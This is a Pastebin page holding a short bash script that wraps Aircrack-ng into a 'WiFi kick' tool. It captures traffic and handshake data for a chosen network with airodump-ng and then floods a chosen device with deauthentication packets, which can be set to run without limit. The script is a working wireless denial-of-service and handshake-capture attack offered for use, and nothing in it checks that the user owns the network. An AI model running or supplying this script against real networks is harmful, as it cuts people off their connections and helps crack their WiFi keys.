Arcanecfg

Arcanecfg_Aircrack_Deauth

May 20th, 2016
6,975
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 2.05 KB | None | 0 0
  1. #!/bin/bash
  2. # Arcanecfg's WiFi Kick Script (Aircrack-ng Interface)
  3.  
  4. ################################
  5. # Author: Arcanecfg
  6. # Website: www.WastedWolf.com
  7. # Date: 17/05/2016
  8. # Description: A simple interface for Aircrack-ng which allows you to kick people off your WiFi network.
  9. ################################
  10.  
  11. tput setaf 1; echo "
  12. _______  ______ _______ _______ __   _ _______ _______ _______  ______
  13. |_____| |_____/ |       |_____| | \  | |______ |       |______ |  ____
  14. |     | |    \_ |_____  |     | |  \_| |______ |_____  |       |_____|
  15.                                                                      
  16. "
  17. function kickResp
  18. {
  19.     tput setaf 6;   echo "Kick another device? (y/n):$(tput sgr 0)"
  20.     read kickAns
  21.     if [ "$kickAns" == "Y" ] || [ "$kickAns" == "y" ]
  22.     then
  23.         main
  24.     else
  25.         ifconfig wlan0 up
  26.         tput setaf 3;   echo "Wireless card has been enabled.$(tput sgr 0)"
  27.     fi  
  28. }
  29.  
  30. function main
  31. {
  32.     tput setaf 6;   echo "Enter MAC address of device you wish to kick:$(tput sgr 0)"
  33.     read deviceID
  34.     tput setaf 6;   echo "Enter number of DeAuth Packets (0 for infinite):$(tput sgr 0)"
  35.     read pacNum
  36.     aireplay-ng -0 $pacNum -a $bssID -c $deviceID wlan0
  37.     kickResp
  38. }
  39.  
  40. tput setaf 3;   echo "*** Welcome to Arcanecfg's WiFi Kick Script (Aircrack-ng Interface) ***$(tput sgr 0)"
  41. tput setaf 5;   echo "############################"
  42. tput setaf 6;   echo "# Author:$(tput sgr 0) Arcanecfg"
  43. tput setaf 6;   echo "# Website:$(tput sgr 0) www.WastedWolf.com"
  44. tput setaf 6;   echo "# Date:$(tput sgr 0) 17/05/2016"
  45. tput setaf 5;   echo "############################$(tput sgr 0)"
  46.                 echo " "
  47. ifconfig wlan0 down
  48. tput setaf 3;   echo "Succesfully took down wireless card.$(tput sgr 0)"
  49. aireplay-ng -9 wlan0
  50. tput setaf 6;   echo "Enter BSSID of network:$(tput sgr 0)"
  51. read bssID
  52. tput setaf 6;   echo "Enter channel number of network:$(tput sgr 0)"
  53. read cNo
  54. xterm -hold -e airodump-ng -c$cNo --bssid $bssID -w psk wlan0 & tput setaf 3; echo "Starting injection...$(tput sgr 0)"
  55. main
Advertisement
Add Comment
Please, Sign In to add comment